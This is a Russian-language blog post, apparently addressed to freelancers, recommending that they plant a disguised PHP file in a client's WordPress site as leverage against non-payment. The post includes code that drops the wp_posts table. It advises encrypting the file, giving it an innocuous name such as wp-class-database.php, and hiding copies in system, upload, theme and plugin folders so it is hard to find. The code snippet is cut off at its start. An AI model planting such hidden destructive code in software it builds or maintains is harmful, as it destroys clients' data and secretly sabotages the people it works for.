Довольно часто слышу от начинающих фрилансеров что им не заплатили за работу, и заказчик пропал, просто сменив доступы к сайту. Если вы работаете без предоплаты, тогда у меня есть решение для вас, которое может подпортить жизнь недобросовестному заказчику.
Изначально у меня был файл, который удалял все файлы сайта, но если так подумать, то основной контент находится в базе данных и работать нужно именно с ней. Код, который я предлагаю использовать удаляет в базе данных таблицу wp_posts – в этой таблице находится весь контент сайта. Так же вы можете изменить, к примеру на таблицу с настройками сайта wp_options.
Кстати, не забудьте проверить в файле wp-config.php, какой префикс для таблиц используется на сайте, если вы занимаетесь доработкой сайта (там не всегда может быть wp_).
Я рекомендую этот файл шифровать и закидывать в разные папки сайта, к примеру в папку /wp-includes/ — можно сделать имя файла такое, что бы было сложно заподозрить, к примеру wp-class-database.php. Закидывайте в папку с загрузками картинок, в папку с шаблоном и/или плагином. Потому что если бы мне такое сделали, то я бы точно почистил файлы самой системы и только потом бы полез к очистке плагинов и шаблонов и в последнюю очередь полез бы в картинки, потому что файлов в папках с картинками тысячи и найти будет сложно.
ВАЖНО! В конце работы не забудьте сделать бекап базы данных, чтобы потом восстановить изменения, если вдруг вам всё такие оплатят и не запускайте файл раньше времени.
connect_error) {
die("Ошибка подключения: " . $conn->connect_error);
}
// Удаляем таблицу wp_posts
$sql = "DROP TABLE wp_posts;";
// Выводим на экран сообщение с результатом
if ($conn->query($sql) === TRUE) {
echo "Таблица удалена!";
} else {
echo "Ошибка удаления: " . $conn->error;
}
$conn->close();
?>